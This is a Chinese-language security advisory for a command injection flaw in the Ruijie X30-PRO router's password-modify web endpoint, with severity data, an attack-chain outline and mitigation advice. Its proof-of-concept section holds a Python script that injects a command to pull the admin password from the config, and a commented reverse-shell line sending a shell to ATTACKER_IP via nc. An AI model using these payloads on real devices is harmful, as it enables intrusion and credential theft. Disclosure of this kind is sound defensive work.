CVE-2025-56108 CVSS 8.8 高危

CVE-2025-56108 锐捷X30-PRO路由器命令注入漏洞

披露日期: 2025-12-11

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-56108

漏洞类型

命令注入

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Ruijie X30-PRO

漏洞概述

CVE-2025-56108是锐捷网络（Ruijie）X30-PRO路由器中存在的一个严重的操作系统命令注入漏洞。该漏洞位于Web管理界面的pwdmodify功能中，具体位于/usr/lib/lua/luci/modules/common.lua文件。攻击者可以通过构造恶意的POST请求，在未经授权或低权限情况下远程执行任意系统命令。此漏洞的CVSS评分为8.8，属于高危级别，对路由器的机密性、完整性和可用性均造成严重影响。锐捷X30-PRO是一款广泛应用于企业网络的无线接入点设备，此次命令注入漏洞可能使大量企业网络面临被入侵的风险。攻击者成功利用该漏洞后可完全控制设备，执行任意命令、安装后门、窃取网络流量或将其作为进一步攻击内网的跳板。

技术细节

该漏洞为典型的OS命令注入（OS Command Injection）漏洞，存在于Lua编写的Web管理接口模块中。漏洞点位于/usr/lib/lua/luci/modules/common.lua文件的pwdmodify处理函数。当Web应用处理用户输入时，未对用户提供的参数进行充分的输入验证和命令隔离，直接将用户输入拼接到系统命令中执行。攻击者可在POST请求的参数中注入分号、管道符等Shell特殊字符，构造恶意命令。例如，通过在pwdmodify参数中注入';whoami;'或'|cat /etc/passwd'等命令，系统会将其作为合法命令的一部分执行。由于该接口无需或仅需低权限认证，攻击门槛较低。攻击成功后，攻击者以root权限在设备上执行任意命令，可获取设备完全控制权。

攻击链分析

STEP 1

步骤1

扫描目标网络，发现运行存在漏洞固件版本的锐捷X30-PRO路由器

STEP 2

步骤2

识别Web管理接口的pwdmodify接口端点

STEP 3

步骤3

构造包含恶意命令注入payload的POST请求

STEP 4

步骤4

发送恶意请求，payload中的命令被拼接到系统命令中执行

STEP 5

步骤5

获取命令执行结果，可读取敏感配置或建立持久化连接

STEP 6

步骤6

以root权限完全控制设备，可部署后门或横向移动

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2025-56108 PoC - Ruijie X30-PRO Command Injection
# Target: Ruijie X30-PRO router
# Vulnerability: OS Command Injection in pwdmodify (common.lua)

target_ip = "192.168.1.1"  # Router IP address
target_port = 80

url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/pwdmodify"

# Payload to inject arbitrary command - extract admin password
payload = "'; cat /etc/config/system | grep password; '"

data = {
    "pwdmodify": payload
}

try:
    response = requests.post(url, data=data, timeout=10)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

# Reverse shell payload example:
# '; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f; '

影响范围

Ruijie X30-PRO X30-PRO-V1_09241521及之前版本

防御指南

临时缓解措施

在厂商发布正式补丁前，可采取以下临时缓解措施：1）通过网络ACL或防火墙规则限制对锐捷X30-PRO管理接口的访问，仅允许受信任的管理IP访问；2）禁用不必要的Web管理功能，使用SSH替代Web管理；3）部署入侵检测系统（IDS）监控异常的管理接口访问行为；4）将设备置于隔离网络段，限制被入侵后的横向移动风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表